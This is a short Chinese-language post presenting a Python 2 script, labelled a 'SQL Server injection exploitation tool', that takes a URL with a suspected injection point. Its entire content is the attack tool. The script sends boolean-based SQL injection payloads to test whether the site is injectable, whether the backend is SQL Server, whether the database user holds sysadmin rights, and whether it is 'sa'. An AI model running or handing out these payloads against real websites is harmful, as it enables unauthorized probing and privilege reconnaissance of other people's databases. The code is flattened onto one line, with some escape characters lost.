本文講述一個(gè)用Python寫的小程序,用于有注入點(diǎn)的鏈接,以檢測(cè)當(dāng)前數(shù)據(jù)庫用戶是否為sa,詳細(xì)代碼如下:
# Code by zhaoxiaobu Email: little.bu@hotmail.com #-*- coding: UTF-8 -*- from sys import exit from urllib import urlopen from string import join,strip from re import search def is_sqlable(): sql1="%20and%201=2" sql2="%20and%201=1" urlfile1=urlopen(url+sql1) urlfile2=urlopen(url+sql2) htmlcodes1=urlfile1.read() htmlcodes2=urlfile2.read() if not search(judge,htmlcodes1) and search(judge,htmlcodes2): print "[信息]恭喜!這個(gè)URL是有注入漏洞的!n" print "[信息]現(xiàn)在判斷數(shù)據(jù)庫是否是SQL Server,請(qǐng)耐心等候....." is_SQLServer() else: print "[錯(cuò)誤]你確定這個(gè)URL能用?換個(gè)別的試試吧!n" def is_SQLServer(): sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" urlfile=urlopen(url+sql) htmlcodes=urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]數(shù)據(jù)庫好像不是SQL Server的!n" else: print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫!n" print "[信息]開始檢測(cè)當(dāng)前數(shù)據(jù)庫用戶權(quán)限,請(qǐng)耐心等待......" is_sysadmin() def is_sysadmin(): sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫用戶不具有sysadmin權(quán)限!n" else: print "[信息]當(dāng)前數(shù)據(jù)庫用戶具有sysadmin權(quán)限!n" print "[信息]檢測(cè)當(dāng)前用戶是不是SA,請(qǐng)耐心等待......" is_sa() def is_sa(): sql = "%20and%20'sa'=(select%20System_user)"; urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫用戶不是SA!n" else: print "[信息]當(dāng)前數(shù)據(jù)庫用戶是SA!n" print "n########################################################################n" print " ^o^SQL Server注入利用工具^o^ " print " Email: little.bu@hotmail.comn" print "========================================================================"; url = raw_input('[信息]請(qǐng)輸入一個(gè)可能有注入漏洞的鏈接!nURL:') if url == '': print "[錯(cuò)誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式" exit(1) judge = raw_input("[信息]請(qǐng)?zhí)峁┮粋€(gè)判斷字符串.n判斷字符串:") if judge == '': print "[錯(cuò)誤]判斷字符串不能為空!" exit(1) is_sqlable()
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